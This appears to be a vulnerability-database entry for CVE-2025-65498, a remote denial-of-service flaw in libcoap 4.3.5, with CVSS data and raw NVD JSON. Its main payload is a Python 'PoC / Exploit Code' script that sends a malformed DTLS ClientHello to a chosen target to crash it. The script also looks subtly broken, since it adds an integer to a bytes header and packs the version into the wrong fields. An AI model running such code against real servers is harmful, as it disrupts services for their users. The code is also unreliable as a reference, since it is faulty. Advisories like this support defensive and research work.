Security Vulnerability Report
中文
CVE-2025-65498 CVSS 4.3 MEDIUM

CVE-2025-65498

Published: 2025-11-24 14:15:48
Last Modified: 2025-12-01 16:31:43

Description

NULL pointer dereference in coap_dtls_generate_cookie() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted DTLS handshake that triggers SSL_get_SSL_CTX() to return NULL.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:* - VULNERABLE
libcoap < 4.3.5
libcoap 4.3.5 (已知受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct import ssl def create_dtls_client_hello(): """ Generate a malformed DTLS ClientHello packet to trigger NULL pointer dereference in coap_dtls_generate_cookie() """ # DTLS record layer header content_type = 0x16 # Handshake version = 0xfefd # DTLS 1.2 epoch = 0x0000 sequence_number = b'\x00\x00\x00\x00\x00\x01' length = 200 # Arbitrary length record_header = struct.pack('>BBH', content_type, version >> 8, version & 0xFF) record_header += epoch record_header += sequence_number record_header += struct.pack('>H', length) # Malformed handshake header msg_type = 0x01 # ClientHello msg_length = 0x000000 msg_seq = 0x0000 frag_offset = 0x000000 frag_length = 0x00C8 handshake_header = struct.pack('>B', msg_type) handshake_header += struct.pack('>I', msg_length)[1:] # 3 bytes handshake_header += struct.pack('>H', msg_seq) handshake_header += struct.pack('>I', frag_offset)[1:] # 3 bytes handshake_header += struct.pack('>I', frag_length)[1:] # 3 bytes # Incomplete payload to trigger NULL context payload = b'\xfe\xfd' # DTLS version payload += b'\x00' * 32 # Random bytes payload += b'\x00' # Session ID length = 0 payload += b'\x00\x00' # Cookie length = 0 payload += b'\x00\x00' # Cipher suites length payload += b'\x00' # Compression methods length return record_header + handshake_header + payload def exploit_cve_2025_65498(target_host, target_port=5684): """ Send malformed DTLS ClientHello to trigger CVE-2025-65498 """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) pkt = create_dtls_client_hello() print(f"[*] Sending malformed DTLS ClientHello to {target_host}:{target_port}") sock.sendto(pkt, (target_host, target_port)) print(f"[*] Packet sent: {len(pkt)} bytes") print(f"[*] This should trigger NULL pointer dereference in coap_dtls_generate_cookie()") sock.close() if __name__ == '__main__': import sys if len(sys.argv) > 1: exploit_cve_2025_65498(sys.argv[1], int(sys.argv[2]) if len(sys.argv) > 2 else 5684) else: print(f"Usage: python {sys.argv[0]} <target_ip> [port]")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65498", "sourceIdentifier": "[email protected]", "published": "2025-11-24T14:15:47.500", "lastModified": "2025-12-01T16:31:43.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NULL pointer dereference in coap_dtls_generate_cookie() in src/coap_openssl.c in OISM libcoap 4.3.5 allows remote attackers to cause a denial of service via a crafted DTLS handshake that triggers SSL_get_SSL_CTX() to return NULL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libcoap:libcoap:4.3.5:-:*:*:*:*:*:*", "matchCriteriaId": "78120234-9F76-4010-AD0E-FEA4DE8A76F9"}]}]}], "references": [{"url": "https://github.com/obgm/libcoap/issues/1746", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/obgm/libcoap/pull/1750", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}